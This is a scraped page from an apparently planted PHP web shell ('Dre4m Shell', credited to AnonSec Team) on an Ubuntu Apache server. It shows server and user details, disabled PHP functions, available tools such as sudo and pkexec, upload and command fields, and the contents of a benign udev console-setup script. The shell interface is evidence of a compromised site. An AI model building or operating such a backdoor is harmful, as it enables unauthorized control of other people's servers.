Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.12.163.164
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/udev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/udev/console-setup-tty
#! /bin/sh
set -e
# Based on setupcon, but stripped down for use in a udev rule.

# We have to do several basic things here, each of which has specific state
# requirements:
#
# 1) Set Unicode/non-Unicode mode on each virtual console.
#
#    The terminal line emulation on the virtual console must not be in raw
#    mode (as in cfmakeraw).
#
# 2) Set the font and ACM on each virtual console.
#
#    The virtual console must not be in KD_GRAPHICS mode.  If using vgacon,
#    the *foreground* virtual console must not be in KD_GRAPHICS mode either
#    as then we'll corrupt video memory.
#
# 3) Set the keyboard mode on each virtual console to K_XLATE or K_UNICODE
#    as appropriate.
#    
#    The virtual console must not be in K_RAW or K_MEDIUMRAW mode.
#
# We don't have to set the console keymap here.  This only needs to be done
# once after setting the keyboard mode, so it belongs in an Upstart job
# instead.

export PATH="/bin:/sbin:$PATH"

. /etc/default/console-setup

# CODESET
[ "$CODESET" != guess ] || CODESET=''
if [ -z "$CODESET" ]; then
    case "$CHARMAP" in
        UTF-8)            CODESET=Uni2;;
        ARMSCII-8)        CODESET=Armenian ;;
        CP1251)           CODESET=CyrSlav ;;
        CP1255)           CODESET=Hebrew ;;
        CP1256)           CODESET=Arabic ;;
        GEORGIAN-ACADEMY) CODESET=Georgian ;;
        GEORGIAN-PS)      CODESET=Georgian ;;
        IBM1133)          CODESET=Lao ;;
        ISIRI-3342)       CODESET=Arabic ;;
        ISO-8859-1)       CODESET=Lat15 ;;
        ISO-8859-2)       CODESET=Lat2 ;;
        ISO-8859-3)       CODESET=Lat38 ;;
        ISO-8859-4)       CODESET=Lat7 ;; # sometimes Lat15
        ISO-8859-5)       CODESET=CyrSlav ;;
        ISO-8859-6)       CODESET=Arabic ;;
        ISO-8859-7)       CODESET=Greek ;;
        ISO-8859-8)       CODESET=Hebrew ;;
        ISO-8859-9)       CODESET=Lat15 ;;
        ISO-8859-10)      CODESET=Lat15 ;;
        ISO-8859-11)      CODESET=Thai ;;
        ISO-8859-13)      CODESET=Lat7 ;;
        ISO-8859-14)      CODESET=Lat38 ;;
        ISO-8859-15)      CODESET=Lat15 ;;
        ISO-8859-16)      CODESET=Lat2 ;;
        KOI8-R)           CODESET=CyrKoi ;;
        KOI8-U)           CODESET=CyrKoi ;;
        TIS-620)          CODESET=Thai ;;
        VISCII)           CODESET=Vietnamese ;;
        *)	            ;;
    esac
fi

# FONTSIZE
if [ -z "$FONTSIZE" -o "$FONTSIZE" = guess ]; then
    FONTSIZE=16
fi
case "$FONTSIZE" in
    8x*)
        FONTSIZE=${FONTSIZE#*x}
        ;;
    *x8)
        FONTSIZE=${FONTSIZE%x*}
        ;;
    *x*)
        a=${FONTSIZE%x*}
        b=${FONTSIZE#*x}
        if [ "$a" -lt "$b" ]; then
            FONTSIZE=${b}x${a}
        fi
        ;;
esac

setup_unicode () {
    # Set up Unicode/non-Unicode mode.
    # TODO: this will probably break something if terminal line emulation is
    # in raw mode.
    if [ "$CHARMAP" = UTF-8 ] || [ -z "$ACM$CHARMAP" ]; then
	printf '\033%%G' >"$1"
    else
	printf '\033%%@' >"$1"
    fi
}

setup_font () {
    # Set the font and ACM.  setfont will silently do nothing for a console
    # in graphics mode.
    SETFONT_ARGS=
    if [ "$FONT" ]; then
	FONT="/etc/console-setup/${FONT##*/}"
	FONT="${FONT%.gz}"
    else
	FONT="/etc/console-setup/$CODESET-$FONTFACE$FONTSIZE.psf"
    fi
    if [ -f "$FONT" ] || [ -f "$FONT.gz" ]; then
	SETFONT_ARGS="${SETFONT_ARGS:+$SETFONT_ARGS }$FONT"
    fi
    if [ "$ACM" ]; then
	ACM="/etc/console-setup/${ACM##*/}"
	ACM="${ACM%.gz}"
    else
	ACM="/etc/console-setup/$CHARMAP.acm"
    fi
    if [ -f "$ACM" ] || [ -f "$ACM.gz" ]; then
	SETFONT_ARGS="${SETFONT_ARGS:+$SETFONT_ARGS }-m $ACM"
    fi
    if [ "$SETFONT_ARGS" ]; then
	setfont -C "$1" $SETFONT_ARGS
    fi
}

setup_keyboard_mode () {
    # Set the keyboard mode.
    # TODO: this will probably break something if the console is in K_RAW or
    # K_MEDIUMRAW mode.  There doesn't seem to be a non-racy way to say "set
    # to K_UNICODE only if currently K_XLATE".
    if [ "$CHARMAP" = UTF-8 ] || [ -z "$ACM" ]; then
	kbd_mode -u <"$1"
    else
	kbd_mode -a <"$1"
    fi
}

if [ "$1" = fbcon ]; then
    # Technically we have to wait for /dev/tty[1-6] to appear; but these are
    # created in vty_init, so I think it will always be early enough.  If
    # I'm wrong, then the -w test will fail and we end up with the wrong
    # fonts on some virtual consoles; the user can run setupcon to fix it.
    for console in $ACTIVE_CONSOLES; do
	if [ -w "$console" ]; then
	    setup_font "$console"
	fi
    done
else
    if [ -w "$1" ]; then
	setup_unicode "$1"
	setup_font "$1"
	setup_keyboard_mode "$1"
    fi
fi

exit 0

Anon7 - 2022
AnonSec Team